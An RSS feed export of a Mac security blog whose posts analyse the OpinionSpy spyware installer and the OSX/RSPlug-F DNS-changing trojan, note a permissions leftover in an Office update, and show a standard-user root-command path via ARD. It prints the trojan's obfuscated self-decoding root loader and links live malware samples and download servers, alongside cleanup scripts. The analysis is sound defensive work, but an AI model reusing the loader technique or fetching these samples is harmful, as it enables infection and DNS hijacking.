<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>brunerd &#187; Security</title>
	<atom:link href="http://www.brunerd.com/blog/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.brunerd.com/blog</link>
	<description>pushin' bytes around</description>
	<lastBuildDate>Fri, 04 Jun 2010 15:55:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Tearing apart OpinionSpy</title>
		<link>http://www.brunerd.com/blog/2010/06/03/tearing-apart-opinionspy/</link>
		<comments>http://www.brunerd.com/blog/2010/06/03/tearing-apart-opinionspy/#comments</comments>
		<pubDate>Thu, 03 Jun 2010 19:34:08 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[Scripting]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/?p=188</guid>
		<description><![CDATA[Updated: I&#8217;ve linked text files of string dumps to the binaries thoughout the article, I suppose not everyone wants to install and run the code to find out themselves! Another OS X malware media darling is out there, but it&#8217;s not the DNS changing kind that RSPlug-F was. Rather this one has a lot more [...]]]></description>
			<content:encoded><![CDATA[<p><em>Updated: I&#8217;ve linked text files of string dumps to the binaries thoughout the article, I suppose not everyone wants to install and run the code to find out themselves! <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </em></p>
<p>Another OS X malware <a href="http://www.google.com/search?client=safari&amp;rls=en&amp;q=OpinionSpy&amp;oe=UTF-8&amp;um=1&amp;ie=UTF-8&amp;tbo=u&amp;tbs=nws:1&amp;source=og&amp;sa=N&amp;hl=en&amp;tab=wn" target="_blank">media darling</a> is out there, but it&#8217;s not the DNS changing kind that <a href="http://www.brunerd.com/blog/2009/03/30/tearing-apart-osxrsplug-f/" target="_blank">RSPlug-F</a> was. Rather this one has a <strong>lot</strong> more code in it, active code that is watching keystrokes, monitoring AIM, MSN, Yahoo, and iChat messengers and more.</p>
<p>So I found a <a href="http://www.brunerd.com/blog/wp-content/uploads/poinstaller.zip">sample</a> (this is the actual installer careful, folks) in the MishInc FLV To MP3 converter. Which is just a <a href="http://en.wikipedia.org/wiki/JAR_(file_format)" target="_blank">.jar</a> file, put .zip at the end and you can see the guts when expanded. However, it&#8217;s a self extracting installer using iZPack so it&#8217;s easier just to run it and let it unpack. Here&#8217;s some screenshots:</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/1.png"><img class="alignnone size-thumbnail wp-image-189" title="MishInc MP3 Install Screen 1" src="http://www.brunerd.com/blog/wp-content/uploads/1-150x150.png" alt="" width="150" height="150" /></a></p>
<p>Nothing much in there</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/2.png"><img class="alignnone size-medium wp-image-191" title="Premiere Opinion Accept/Disagree" src="http://www.brunerd.com/blog/wp-content/uploads/2-300x233.png" alt="" width="300" height="233" /></a></p>
<p>Jackpot on the 2nd screen, here&#8217;s the goods. Note, if you click I disagree, the software is not installed! Not <em>too</em> mal. Here&#8217;s the text from <a href="http://www.voicefive.com/About.aspx" target="_blank">VoiceFive</a>&#8216;s agreement:</p>
<blockquote><p>In order to provide this free download of MiMAC FLV To Mp3 Converter, PremierOpinion software, provided by VoiceFive, Inc., is included in this download. This software allows millions of participants in an online market research community to voice their opinions by <strong>allowing their online browsing and purchasing behavior to be monitored, collected</strong>, and once <strong>anonymized</strong>, used to create market reports, materials and other forms of analysis that may be shared with our clients to help our clients understand Internet trends and patterns and other market research purposes. The information which is monitored and collected includes internet usage information, basic demographic information, certain hardware, software, computer configuration and application usage information about the computer on which you install PremierOpinion.</p>
<p>We may use the<strong> information that we monitor, such as name and address</strong>, to better understand your household demographics; for example, we may combine the information that you provide us with additional information from consumer data brokers and other data sources in accordance with our privacy policy. We make <strong>commercially viable efforts</strong> to automatically filter confidential personally identifiable information and to purge our databases of such information about our panelists when inadvertently collected.</p>
<p>By clicking I Agree, you acknowledge that you are 18 years of age or older, an authorized user of this computer, and that you have read, agreed to, and have obtained the consent to the terms and conditions of the Privacy Statement and User License Agreement from anyone who will be using the computer on which you install this application.</p></blockquote>
<p>Does anyone else find it odd that they say your info is anonymized, but then go on to use an example of information they monitor is name and address?! But not worry, commercially viable efforts will be used to filter that out. Does that mean if it&#8217;s too expensive they won&#8217;t bother doing a really good job? Nonetheless for this installer, if you say I Disagree you are able to continue to install the MP3 converter without PremierOpinion installing.</p>
<p>But let&#8217;s say: <em>I agree</em> for the heck of it <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>First it drops two files in <code>/private/tmp</code>: <code><a href="http://www.brunerd.com/blog/wp-content/uploads/script.sh.txt" target="_self">script.sh</a></code> which simply makes the other file, <code><a href="http://www.brunerd.com/blog/wp-content/uploads/poinstallerstrings.txt">poinstaller</a></code>, executable. If you are connected to the internet it then downloads two folders: <code>installtmp</code> and <code>tapinstaller</code>, both folders have the exact same binary called <code><a href="http://www.brunerd.com/blog/wp-content/uploads/PremierOpinionstrings.txt">PremierOpinion</a>(496KB)</code>, <code>installtmp</code> has a different sized <code>poinstaller</code> binary and <code>tapinstaller</code> contains <code><a href="http://www.brunerd.com/blog/wp-content/uploads/upgrade.xml_.txt" target="_self">upgrade.xml</a></code>, which contains a link to a file called <code><a href="http://www.brunerd.com/blog/wp-content/uploads/rule14.xml_.txt">rule14.xml</a></code>, found on a server at <code>post.securestudies.com</code>. Downloading <a href="http://post.securestudies.com/config/packages/pm/rule14.xml">rule14.xml</a> from them you get a link to the latest <a href="https://post.securestudies.com/config/packages/pm/PremierOpinion.zip">PremierOpinion.zip</a> and the version numbers of the expected support libraries and essential files.</p>
<p><code><a href="http://www.brunerd.com/blog/wp-content/uploads/poinstallerstrings.txt">pointsaller</a></code> has some Applescript to open the survey window in Safari and things like getting &#8220;campaign ids&#8221;, doing shell scripts with admin privileges, references to MacSniffer (a TCP packet sniffer), and more. Also while looking at the strings of poinstaller you&#8217;ll find reference not only to <code>post.securestudies.com</code> found but also <code>it.kingroutecn.com</code> which has the same <code>rule14.xml</code> but instead of <code>PremierOpinion</code> you get <code>PermissionResearch</code>. Doing some digging, it can be discovered that <a href="1http://www.voicefive.com/About.aspx" target="_blank">VoiceFive</a>, <a href="https://www.permissionresearch.com/Benefits.aspx" target="_blank">Permission Research</a> (which has many <em><a href="https://www.permissionresearch.com/ScreensaversDescription.aspx" target="_blank">screensavers</a></em> to download), and <a href="http://www.premieropinion.com/Home.aspx" target="_blank">Premier Opinion</a> are all in the same network block as <a href="http://news.google.com/news/search?pz=1&amp;cf=all&amp;ned=us&amp;hl=en&amp;q=ComScore">ComScore</a>, a multi-headed hydra of <a href="http://comscore.com/About_comScore/comScore_History" target="_blank">consumer buying</a> insight.</p>
<p>Now back to the Chinese server (which is not used to download the payload, perhaps, only in China?) digging <code>it.kingroutecn.com</code> gives you <code>218.108.8.85</code>, doing a reverse lookup gives  <code>hidden-master.hzman.net</code>, doing a reverse lookup gives you <code>127.0.0.1</code> that is you!? Whois on <code>it.kingroutecn.com</code> and <code>hidden-master.hzman.net</code> will point to <a href="http://maps.google.com/maps?f=q&amp;source=s_q&amp;hl=en&amp;geocode=&amp;q=30.278739,120.158243&amp;sll=37.0625,-95.677068&amp;sspn=56.375007,79.453125&amp;ie=UTF8&amp;ll=30.27916,120.157456&amp;spn=0.007607,0.009699&amp;t=h&amp;z=17" target="_blank">Hangzhou, China</a>, a very big city just southwest of Shanghai (it looks smoggy in Google Maps). The question is why are their two similar packages being served from the US and China? And why is the <a href="http://it.kingroutecn.com:8081/oss/PermissionResearch.zip">Chinese version</a> newer (2.3.0.69 vs. 2.2.0.59)?</p>
<p>Anyway, Woodward and Bernstein aside, during all this unpacking of files in <code>/private/tmp</code> an <a href="http://www.brunerd.com/blog/wp-content/uploads/auth.png" target="_self">authentication window</a> asking for system.privelege.admin, that is to say, it wants root privileges. If you say yes, you&#8217;ll get a launchd daemon running as root installed to <code>/Library/LaunchDaemons/<a href="http://www.brunerd.com/blog/wp-content/uploads/PremierOpinion.plist_.txt">PremierOpinion.plist</a></code>, it&#8217;s an on-demand daemon that will respawn the <code>PremierOpinion</code> process if you try killing it in Activity Monitor. Respawning calls the <code>RunPremierOpinion.sh</code> script from <code>/Application/PremierOpinion</code> folder, it checks to see if you have Access for Assistive Devices enabled this is essential to logging your keystrokes. It does this by simply touching <code>/private/var/db/.AccessibilityAPIEnabled</code>, which can only be done by root, but it&#8217;s already running as that no prob! What&#8217;s weird about this file is that when you turn on Access for Assistive Devices via the GUI in System Preferences it creates the file with the single character &#8216;a&#8217; but OS X will still activate the service if the file is created  and is 0 bytes. After installing a Safari window will pop up asking you who uses the computer, the ages of the folks using it, and other tidbits, you can see <a href="http://www.premieropinion.com/Home.aspx" target="_blank">here</a>. When this app upgrades itself you will find a folder at <code>/private/tmp/autoupgrade</code> which has the same contents of <code>/Applications/PremierOpinion</code>.</p>
<p>So <code>/Applications/PremierOpinion</code> has quite a few things inside, libraries, scripts, and an Uninstaller (?!), and <code>PremierOpinion.app</code>. Inside the app is some Code Signing, the <a href="http://www.brunerd.com/blog/wp-content/uploads/PremierOpinionstrings1.txt">binary</a> (a much bigger 3.6MB version), and in Resources it contains <code>survey.nib, systemtray.nib and InjectCode.app</code>, which inside has <a href="http://github.com/rentzsch/mach_star" target="_blank">code</a> from Jonathan Rentzsch used for mach code injection*, taken from Growl&#8217;s 1.2 source code and recompiled by user huangxianghua as seen in the string: <code>/Volumes/10.5/Users/huangxianghua/Downloads/Growl-1.2-src/external_dependencies/mach_star/mach_inject_bundle/mach_inject_bundle</code></p>
<p>Further and further down the rabbit hole, but let&#8217;s just run the Uninstaller. It deletes the folder in Applications but the process remains as well as the LaunchDaemon and all the files in <code>/private/tmp</code>, however on reboot the process is indeed not running, <code>/private/tmp</code> is cleaned out, but the LaunchDaemon and Assistive Access remains on.</p>
<p>So here&#8217;s an uninstall script of my own (disconnect all network conections first, in case it is logging keystrokes, it might grab your password):<br />
<code><br />
sudo launchctl unload -w /Library/LaunchDaemons/PremierOpinion.plist<br />
sudo rm /private/tmp/poinstaller<br />
sudo rm /private/tmp/script.sh<br />
sudo rm -rf /private/tmp/installtmp<br />
sudo rm -rf /private/tmp/autoupgrade<br />
sudo rm -rf /private/tmp/tapinstaller<br />
sudo rm -rf /Applications/PremierOpinion<br />
sudo rm /private/var/db/.AccessibilityAPIEnabled</code></p>
<p>That should do it.</p>
<p>For extra insight, try running the PremierOpinion or PermissionResearch binary from the command line as root, there is all sorts of info to be found when it writes to stdout, such as when it starts a service port 8254: <code>2010-06-03 15:59:06.175 PermissionResearch[1658:60f] Starting server on port 8254</code> and, surf around a little, it&#8217;ll  report on the YouTube videos you are watching and other things it deems interesting.</p>
<p>Extra extra credit run a <a href="http://www.brunerd.com/blog/wp-content/uploads/Sample-of-PermissionResearch.txt" target="_blank">Sample</a> on it from Activity monitor and see what it&#8217;s doing: FileInventoryTask::MainTask(void*), file inventory eh, that&#8217;s why it&#8217;s eating up 30% of my CPU!</p>
<p>Hmmm, enough rabbit hole adventures for today, comments are welcome.</p>
<p>Oh yes, and  PowerPC  folks don&#8217;t worry, they didn&#8217;t compile for PPC <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>*Update:</p>
<p>To go on further about the injection aka <a href="http://www.google.com/search?client=safari&amp;rls=en&amp;q=method+swizzling&amp;ie=UTF-8&amp;oe=UTF-8" target="_blank">Method swizzling</a> code. This is where you have your code respond to a message call instead of the original code, the power in this is that you can get in the middle of the internal calls and do what you will with their data but then pass them on to the original method. So they probably are swizzling methods in Safari or perhaps at the network layer so they can see what you are downloading, watching, etc. Combined with packet sniffer &#8216;all your data are belong to them&#8217;. However please take note that these the reason this app can do this is because you&#8217;ve given them the keys to the castle by authenticating it as root, the technologies it&#8217;s leveraging aren&#8217;t inherently nefarious, rather fundamental and and essential to system operation, if root can&#8217;t do it then who can? This is where either it falls on the user or the OS needs to be better about protecting the user from themselves, perhaps the OS could sandbox downloaded apps with very restrictive settings, alerting you when it attempts something privileged, although this can desensitize a user quickly to clicking Agree. Nonetheless this is a defining conundrum of this century. The power of personal computers is being subverted for the nefarious gain of others and we need to defend against it, the era of curated computing might be ushered in because of this. We&#8217;ve seen it so many times, when good things get used for bad purposes, there&#8217;s a sea change. <a href="http://www.youtube.com/watch?v=ijPE7fe4XTg" target="_blank">Crises precipitates change.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2010/06/03/tearing-apart-opinionspy/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Tearing Apart OSX/RSPlug-F</title>
		<link>http://www.brunerd.com/blog/2009/03/30/tearing-apart-osxrsplug-f/</link>
		<comments>http://www.brunerd.com/blog/2009/03/30/tearing-apart-osxrsplug-f/#comments</comments>
		<pubDate>Mon, 30 Mar 2009 19:51:39 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Industry]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[Packages]]></category>
		<category><![CDATA[Scripting]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/?p=70</guid>
		<description><![CDATA[OK&#8230; I might be a bit late to the party (and Conficker is grabbing all the headlines) but there were some interesting things I found looking at the  headline grabbing trojan OSX/RSPlug-F. Thanks to the effervescent Graham Cluley for his witty post with video demonstration of OSX/RSPlug-F being detected. It&#8217;s what started this investigation. So, being [...]]]></description>
			<content:encoded><![CDATA[<p>OK&#8230; I might be a bit late to the party (and Conficker is grabbing all the headlines) but there were some interesting things I found looking at the  headline grabbing trojan <a href="http://www.sophos.com/security/blog/2009/03/3710.html" target="_blank">OSX/RSPlug-F</a>. Thanks to the effervescent Graham Cluley for his <a href="http://www.sophos.com/blogs/gc/g/2009/03/25/apple-mac-malware-caught-camera/" target="_blank">witty post</a> with video demonstration of OSX/RSPlug-F being detected. It&#8217;s what started this investigation.</p>
<p>So, being the curious guy I am I decided to download the very same file Graham did in his demo. While, hdtvxvid.org had since fixed their hijacked page, luckily the status bar had a readable URL that with some squinting I was able to decipher it&#8230; So I downloaded the sucker, you can too!</p>
<p>Live Code: <a href="http://plumpals.com/download/654a635065413d3df111c253/HDTVPlayerv3.5.exe" target="_blank">OSX/RSPlug-F trojan</a></p>
<p>And what else can I say but: I&#8217;ll be darned if I can get the thing to <strong>work</strong>! Actually I do get it to work, but due to some coding errors out of the box, it&#8217;s a dud.</p>
<p>So let&#8217;s start the dissection:</p>
<p>The URL downloads HDTVPlayerv3.5.dmg, inside is contained install.pkg, which if you&#8217;re using Safari on a Mac and have the damnable default of &#8220;Open &#8216;Safe&#8217; files after Downloading&#8221; it&#8217;ll go right to the installer. Which let me note <strong>Open &#8220;Safe&#8221; Files after downloading </strong>is the<strong> stupidest</strong> thing to happen to browsers since Active-X. The air quotes around &#8220;Safe&#8221; do not help, Apple, it&#8217;s a sly wink and a nod that <strong>no file type is totally safe</strong> but *shrug* whatcha gonna do? I&#8217;ll tell you what: <strong>don&#8217;t make it a dang default</strong>!</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/firefox-rsplug-cached-before-clicking-save.jpg"><img class="alignnone size-full wp-image-86" title="firefox-rsplug-cached-before-clicking-save" src="http://www.brunerd.com/blog/wp-content/uploads/firefox-rsplug-cached-before-clicking-save.jpg" alt="firefox-rsplug-cached-before-clicking-save" width="550" height="316" /></a></p>
<p><strong>Firefox</strong> is not off the hook either, let me bring up the poisonous Firefox convenience: &#8220;predownloading&#8221;. Did everyone notice how the virus alert for Graham pops up before he clicks save? How Firefox initiates downloads immediately to <a href="http://www.brunerd.com/blog/wp-content/uploads/firefoxcache-pre_downloading.jpg" target="_blank">cache</a> and upon the user clicking Save it copies it to the destination or if the click Cancel it stays there. I think Firefox&#8217;s behaviour is ridiculous, yes it might make me happy when I download some ginormous game demo and come back hours later having forgotten to click Save and am pleasantly surprised that &#8220;hey it&#8217;s already here!&#8221;, but otherwise let me decide what and when something goes on my hard drive.</p>
<p>Anyway&#8230; let&#8217;s look at an Installer window the average user won&#8217;t look at: Show Files</p>
<p>./AdobeFlash<br />
./Mozillaplug.plugin<br />
./Mozillaplug.plugin/Contents<br />
./Mozillaplug.plugin/Contents/Info.plist<br />
./Mozillaplug.plugin/Contents/MacOS<br />
./Mozillaplug.plugin/Contents/MacOS/VerifiedDownloadPlugin<br />
./Mozillaplug.plugin/Contents/Resources<br />
./Mozillaplug.plugin/Contents/Resources/VerifiedDownloadPlugin.rsrc<br />
./Mozillaplug.plugin/Contents/version.plist</p>
<p>First couple of suspect thing is a single flat file called AdobeFlash and then Mozillaplug.plugin, which is really just the <a href="http://unsanity.org/archives/mac_os_x/reminder_verifi.php" target="_blank">mysterious</a> VerifiedDownloadPlugin. No mention of Cinema eh?</p>
<p>Take a gander in <strong>Info.plist of install.pkg</strong> to see where it goes:<br />
IFPkgFlagDefaultLocation <em>/Library/Internet Plug-Ins/<br />
</em></p>
<p>So then, why would it need root privileges for an admin writable folder, eh?<br />
<a href="http://www.brunerd.com/blog/wp-content/uploads/redflag.png"><img class="alignnone size-full wp-image-84" title="redflag" src="http://www.brunerd.com/blog/wp-content/uploads/redflag.png" alt="redflag" width="514" height="407" /></a><br />
<strong>IFPkgFlagAuthorizationAction </strong><em>RootAuthorization</em>, for those following along in the Info.plist<br />
Bonus: <strong>CFBundleGetInfoString</strong> = <em>who cares<br />
<span style="font-style: normal;">Double Secret Bonus:<br />
Resource/en.lproj/Description.plist <strong>IFPkgDescriptionDescription</strong><em> = shutdafuckup</em></span></em></p>
<p>Strangely when you look in both the logs created by Installer.app in /var/log/installer.log:<br />
Leopard it says: <code>"<strong>admin</strong> auth received to install"<br />
</code>Tiger says: <code>"<strong>Administrator</strong> authorization granted."<br />
</code>I don&#8217;t know why you wouldn&#8217;t want the logs to clearly state root privileges were given, but there you have it, it doesn&#8217;t.</p>
<p>So what does it do with the root privileges? Hmmm? Let&#8217;s look in the preinstall/preupgrade <a href="http://www.brunerd.com/blog/wp-content/uploads/osx-rsplug-f_preinstall.txt">scripts</a> which are identical because apparently the author didn&#8217;t realize that a preflight script would kill two birds with one stone.</p>
<p><code>#!/bin/sh<br />
if [ $# != 1 ]; then type=0; else type=1; fi &amp;&amp; tail -37 $0 | sed '/\n/!G;s/\(.\)\(.*\n\)/&amp;\2\1/;//D;s/.//' | uudecode -o /dev/stdout | sed 's/applemac/AdobeFlash/' | sed 's/bsd/7000/' | sed 's/gnu/'$type'/' &gt;`uname -p` &amp;&amp; sh `uname -p` &amp;&amp; rm `uname -p` &amp;&amp; exit<br />
yksrepsak 777 nigeb<br />
O(2/H178PI@(C%6;EQ&amp;&lt;#-RX"-Y(2/21$1!!52M<br />
.... &lt;SNIP&gt; ....<br />
*4F;DI`8*(B(`A$8*TD(`5T4^&lt;3+4EC-8<br />
`<br />
dne<br />
</code></p>
<p>OK, so it takes the tail of itself , does some sed magic to flip around the reveresed UUEncoded data, spit it out, replace &#8216;applemac&#8217; with &#8216;AdobeFlash&#8217; (remember that&#8217;s in the bom payload), replace bsd with 7000, gnu with a boolean value that depends on whether there are any arguments when the script is called. Then after all that sed nonsense, names the file the result of uname -p, attempts to execute the file (as root), delete that file, then exit.</p>
<p>Well, we&#8217;ll get to the &#8216;unencrypted&#8217; payload in a sec let&#8217;s run this and see what happens <a href="http://www.brunerd.com/blog/wp-content/uploads/leopard-fail.txt">leopard-fail</a> anf <a href="http://www.brunerd.com/blog/wp-content/uploads/tiger-fail.txt">tiger-fail</a> &#8212; they fail. As a consequence, the AdobeFlash is NOT installed, but it is the same code as the preinstall so, still not off the hook here.Let&#8217;s see where we&#8217;re at:</p>
<p>The root crontab is altered to inlude: <code>* */5 * * * /Library/Internet Plug-Ins/AdobeFlash<br />
</code>Since the script fails, the package does not install, so the crontab pointing to it is useless&#8230;</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/i386.txt">i386</a> is left in the root, it doesn&#8217;t get a chance to delete itself, considering that all those &amp;&amp; statements mean &#8220;execute the next step only if the last thing completed correctly&#8221;, since it fails it doesn&#8217;t get deleted.</p>
<p>i386 contains some more backward UUEncoded data with and some more sed replacements, then pipes it all into perl, here&#8217;s the <a href="http://www.brunerd.com/blog/wp-content/uploads/rsplug-f_perl.txt">perl code</a> it attempts to run, but unfortunately it fails on line 14 and goes no further. But let&#8217;s say we fix the code so it can talk to the server, get a response, and parse the output into a file&#8230;</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/685.txt">685</a> is downloaded to /tmp where it runs, does some more sed string swaps, secret decoder ring translations for the DNS servers, outputs <a href="http://www.brunerd.com/blog/wp-content/uploads/rsplug-f_scutil-dnschange.txt">this</a> &#8212; the nasty part that changes your DNS entries, then deletes the temp file. It makes good use of the very handy concept of &#8220;here documents&#8221; to script scutil to change the DNS servers, which seem to rotate, you&#8217;ll get new servers everytime you run it, suffice to say, the Ukranian subnet of 85.255.112.xxx is totally compromised, as well as 94.247.2.109 the Latvian server from which the files are downloaded. But who knows who&#8217;s financing and running it in this global day and age. But the propensity for <a href="http://en.wikipedia.org/wiki/Matryoshka_doll" target="_blank">matryoshka</a> style nested code seems telling <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Running some dig commands to get DNS answers from the servers reveals they are given back valid addresses, currently, but I only tested a few sites, it might only have redirection for select dummy bank sites they have set up, who knows&#8230;</p>
<p>The lesson here is: Always use Installer to look at the Files, see what your authorization level is, check out the pre/post scripts and generally <strong>do what only 1% of the most vigilant of the population would do and you&#8217;ll be fine</strong>. Hopefully, root authorization will carry more weight in the Installer.app UI and say &#8220;Hey are your sure you want to grant <strong>root</strong> &#8212; REALLY!?&#8221;, pre/postflight scripts will be easier to look in UI (I <strong>am</strong> dreaming aren&#8217;t I), the logs won&#8217;t lie about the auth level (very do-able), and Firefox will respect my wishes and only truly Save when <strong>I</strong> click Save&#8230; (it&#8217;s open source, easy to change, but it&#8217;ll take a flame war to settle it)</p>
<p>Until then, I hope you enjoyed this malware tour, stay safe and away from porn sites with 3rd party HD codecs.</p>
<p>Update:<br />
I suppose it&#8217;d be helpful to add some instructions on how to reverse the scutil modifications, here&#8217;s the <a href="http://www.brunerd.com/blog/wp-content/uploads/reset-dns.sh">script</a> (the code might look familiar)</p>
<p><code>#!/bin/sh<br />
if (( $(id -u) != 0 )); then echo "Please run with sudo" &amp;&amp; exit 1; fi<br />
PSID=$( (/usr/sbin/scutil | /usr/bin/grep PrimaryService | /usr/bin/sed -e 's/.*PrimaryService : //')&lt;&lt; EOF<br />
get State:/Network/Global/IPv4<br />
d.show<br />
quit<br />
EOF<br />
)</code></p>
<p><code> </code></p>
<p><code>/usr/sbin/scutil &lt;&lt; EOF<br />
remove State:/Network/Service/$PSID/DNS<br />
quit<br />
EOF</p>
<p></code></p>
<p><code>echo "Please toggle your network adapter on/off to refresh DNS servers from DHCP"</code></p>
<p>Basically it nukes the DNS entries that got hosed, then pulls down the DHCP info, uless you have manually entered DNS settings, in which case, you should know what you&#8217;re doing.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2009/03/30/tearing-apart-osxrsplug-f/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Office 2008 12.01 Update almost does it</title>
		<link>http://www.brunerd.com/blog/2008/03/12/office-2008-1201-update-almost-does-it/</link>
		<comments>http://www.brunerd.com/blog/2008/03/12/office-2008-1201-update-almost-does-it/#comments</comments>
		<pubDate>Wed, 12 Mar 2008 21:19:27 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/2008/03/12/office-2008-1201-update-almost-does-it/</guid>
		<description><![CDATA[So the Office 2008 12.01 updater came out, it&#8217;s got a whole lot of packages for each app and component with postflight scripts written in Python to clean up all the permissions: Mar 12 15:33:00 brunerd runner[8556]: postflight[8773]: setting ownership/permissions Mar 12 15:33:00 brunerd runner[8556]: postflight[8773]: fixing setuid flags Mar 12 15:33:00 brunerd runner[8556]: postflight[8773]: [...]]]></description>
			<content:encoded><![CDATA[<p>So the <a href="http://www.microsoft.com/mac/downloads.mspx">Office 2008 12.01 updater</a> came out, it&#8217;s got a whole lot of packages for each app and component with postflight scripts written in Python to clean up all the permissions: </p>
<blockquote><p>Mar 12 15:33:00 brunerd runner[8556]: postflight[8773]: setting ownership/permissions<br />
Mar 12 15:33:00 brunerd runner[8556]: postflight[8773]: fixing setuid flags<br />
Mar 12 15:33:00 brunerd runner[8556]: postflight[8773]: clearing ACLs<br />
Mar 12 15:33:00 brunerd runner[8556]: postflight[8773]: sanitizing receipts
</p></blockquote>
<p>Doing an ls -lRFG in /Applications/Microsoft Office 2008 won&#8217;t leave you <a href="http://www.brunerd.com/blog/2008/01/21/office-2008-for-the-executive/">seeing red</a>, they&#8217;ve cleaned that all up quite nicely. </p>
<p>Anyway, call me picky, but it forgets just one thing, the <strong>/Library/Fonts/Microsoft</strong> folder, it leaves that and its contents owned by 502 and they&#8217;re all marked executable. (Fonts don&#8217;t really need to be executable.) And as paranoid as it is &#8212; it&#8217;s still not quite right. So after you&#8217;ve put your tinfoil hat on, run 12.01,  you can do this to finish it up:</p>
<p>#take away all users&#8217; execute permissions<br />
chmod a-x /Library/Fonts/Microsoft/*<br />
#recursively own all fonts as root and admin group<br />
sudo chown -R root:admin /Library/Fonts/Microsoft</p>
<p>Update: Or you can go into the update using Show Package Contents then navigate to <strong>Contents/Packages</strong> and run <strong>Office2008_en_fonts_12.0.1.incremental.pkg</strong> again, that&#8217;ll do the trick.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2008/03/12/office-2008-1201-update-almost-does-it/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ARD Security Awareness (Standard User can run root commands)</title>
		<link>http://www.brunerd.com/blog/2008/03/08/ard-security-awareness-standard-user-can-run-root-commands/</link>
		<comments>http://www.brunerd.com/blog/2008/03/08/ard-security-awareness-standard-user-can-run-root-commands/#comments</comments>
		<pubDate>Sat, 08 Mar 2008 19:31:23 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[OS X]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/2008/03/08/ard-security-awareness-standard-user-can-run-root-commands/</guid>
		<description><![CDATA[Did you know a Standard user can run commands as root via ARD? This seems really odd doesn&#8217;t it? Why would this be necessary? The thing that gets me is how in Tiger you had to explicitly grant each user the privileges after starting the ARD service. But in Leopard, when you start the service [...]]]></description>
			<content:encoded><![CDATA[<p>Did you know a Standard user can run commands as root via ARD?<br />
This seems really odd doesn&#8217;t it? Why would this be necessary? The thing that gets me is how in Tiger you had to <a href='http://www.brunerd.com/blog/wp-content/uploads/2008/03/tigerardpane.png' title='Tiger ARD Pref Panel'>explicitly </a> grant each user the privileges after starting the ARD service. But in Leopard, when you start the service All Users is the default.</p>
<p>So let&#8217;s take a walkthrough of what I was looking into this Friday evening:<br />
Find a Mac running Leopard<br />
Turn on Remote Management (yes you <strong>do </strong>have to be admin to do this)<br />
<a href='http://www.brunerd.com/blog/wp-content/uploads/2008/03/remotemanagementleo.png' title='Remote Management Pref Pane'>Notice</a> the default is for All Users to have access.<br />
<a href='http://www.brunerd.com/blog/wp-content/uploads/2008/03/testuser.png' title='Test User in Account Pref Pane'>Create</a> a Standard user in Leopard<br />
Great, now go get a machine with ARD on it.<br />
<a href='http://www.brunerd.com/blog/wp-content/uploads/2008/03/ardinfosheet.png' title='ARD Info Sheet'>Add the computer </a>to your ARD list using the standard user&#8217;s credentials<br />
Send it a <a href='http://www.brunerd.com/blog/wp-content/uploads/2008/03/unixcommand.png' title='Unix Command'>Unix Command</a> to run as root (<code>touch /HaxorWasHere</code>, in this case)<br />
<a href='http://www.brunerd.com/blog/wp-content/uploads/2008/03/newfile.png' title='A new File'>Notice </a>the new file owned by root in a place where no standard user can put things.</p>
<p>Interestingly, perhaps because I had done this a number of times, and Leopard got confused after a while, I tried deleting through Finder (while logged in as &#8216;test&#8217; but authenticating as administrator) and got <a href='http://www.brunerd.com/blog/wp-content/uploads/2008/03/trash.png' title='No trash for you!'>this message</a></p>
<p>OK that oddity aside, here&#8217;s another: You don&#8217;t need to have <a href='http://www.brunerd.com/blog/wp-content/uploads/2008/03/sharing3.png' title='Sharing Panel, Everything Checked'>everything checked</a> in ARD&#8217;s preferences to accomplish this, here&#8217;s the <a href='http://www.brunerd.com/blog/wp-content/uploads/2008/03/minimum.png' title='Minimum Access to allow root execution of Unix command'>bare minimum </a>:</p>
<li>Generate reports
<li>Open and quit applications</li>
<li>Change settings</li>
<li>Delete and replace items</li>
<li>Restart and shut down</li>
<li>Copy items</li>
